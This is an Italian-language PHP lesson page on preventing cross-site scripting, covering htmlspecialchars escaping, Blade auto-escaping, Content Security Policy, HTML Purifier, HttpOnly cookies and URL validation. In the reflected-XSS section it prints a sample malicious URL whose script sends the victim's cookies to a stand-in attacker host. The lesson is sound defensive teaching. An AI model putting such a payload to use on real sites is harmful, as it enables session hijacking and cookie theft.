PHP Academy · Lezione

Prevenzione del cross-site scripting (XSS)

Effettuare l'escape dell'output con htmlspecialchars e implementare una Content Security Policy.

Lezione 1 di 413 passaggi

Prevenzione del cross-site scripting (XSS) è una lezione PHP Academy gratuita su CoddyKit. Questa è la lezione 1 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento PHP Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso PHP Academy include 4 lezioni in totale.

Che cos'è l'XSS?

Cross-Site Scripting (XSS) si verifica quando un attaccante inietta JavaScript dannoso nelle pagine web visualizzate da altri utenti. Lo script viene eseguito nel browser della vittima e può accedere alla sessione, ai cookie e al DOM.

XSS riflesso

Il payload dannoso si trova nell'URL o in un parametro del modulo e viene riflesso dal server nella risposta.

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

XSS memorizzato

Il payload viene salvato nel database (commento, campo del profilo) e visualizzato da tutti i visitatori che aprono la pagina.

XSS basato sul DOM

La vulnerabilità risiede interamente nel JavaScript lato client, che inserisce dati non attendibili nel DOM in modo non sicuro utilizzando innerHTML o document.write.

htmlspecialchars()

Esegua l'escaping dell'output per convertire i caratteri speciali HTML in entità innocue. Esegua sempre l'escaping prima di eseguire il rendering dei dati forniti dall'utente.

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Escape automatico di Blade

La sintassi {{ }} di Laravel Blade chiama automaticamente htmlspecialchars. Utilizzi {!! !!} solo per HTML attendibile e sanificato.

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

Content Security Policy (CSP)

Un'intestazione HTTP CSP indica ai browser di eseguire script solo da fonti attendibili, bloccando gli script inline iniettati anche se raggiungono la pagina.

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

Sanificazione dell'input HTML

Se deve consentire input HTML complesso (ad es. un editor WYSIWYG), lo sanifichi con una libreria basata su una whitelist, come HTML Purifier o il package Laravel mews/purifier.

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

Intestazione X-XSS-Protection

Aggiunga l'intestazione X-XSS-Protection: 1; mode=block (per il supporto dei browser obsoleti). I browser moderni si affidano invece alla CSP.

Cookie HttpOnly

L'impostazione del flag HttpOnly sui cookie di sessione impedisce a JavaScript di leggerli, riducendo il rischio di furto della sessione basato su XSS anche se viene iniettato uno script.

Convalida degli URL

Non inserisca mai URL forniti dall'utente in href o src senza convalidarli. Un URI javascript: può eseguire XSS.

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

Riepilogo

Esegua sempre l'escaping dell'output con htmlspecialchars (o con {{ }} di Blade). Aggiunga una Content Security Policy. Sanifichi l'input HTML con una libreria basata su una whitelist. Utilizzi cookie HttpOnly.

Verifica rapida

Quale funzione PHP converte i caratteri speciali HTML in entità?

Gratis per iniziare

Impara PHP con un tutor IA — gratis

Scrivi ed esegui vero codice nel tuo browser, ricevi aiuto istantaneo da un tutor IA disponibile 24/7, e riprendi da dove hai lasciato sul web o nell'app.

Corsi
49
Lezioni
195

Domande Frequenti

La lezione «Prevenzione del cross-site scripting (XSS)» è gratuita?

Sì — il testo completo di «Prevenzione del cross-site scripting (XSS)» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso PHP Academy, passa a CoddyKit PRO. Il corso PHP Academy include 4 lezioni in totale.

Cosa imparerò in «Prevenzione del cross-site scripting (XSS)»?

Effettuare l'escape dell'output con htmlspecialchars e implementare una Content Security Policy. Eserciti PHP Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.

Ho bisogno di esperienza per iniziare PHP Academy?

Non è richiesta alcuna esperienza precedente. PHP Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 1 di 4.

Quanto tempo richiede la lezione «Prevenzione del cross-site scripting (XSS)»?

La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.

Posso scrivere ed eseguire codice in questa lezione PHP Academy?

Sì. Ogni lezione PHP Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.

Tutte le lezioni di questo corso

  1. Prevenzione del cross-site scripting (XSS)
  2. Iniezione SQL e query parametrizzate
  3. Protezione CSRF
  4. Archiviazione sicura delle password
← Torna a PHP Academy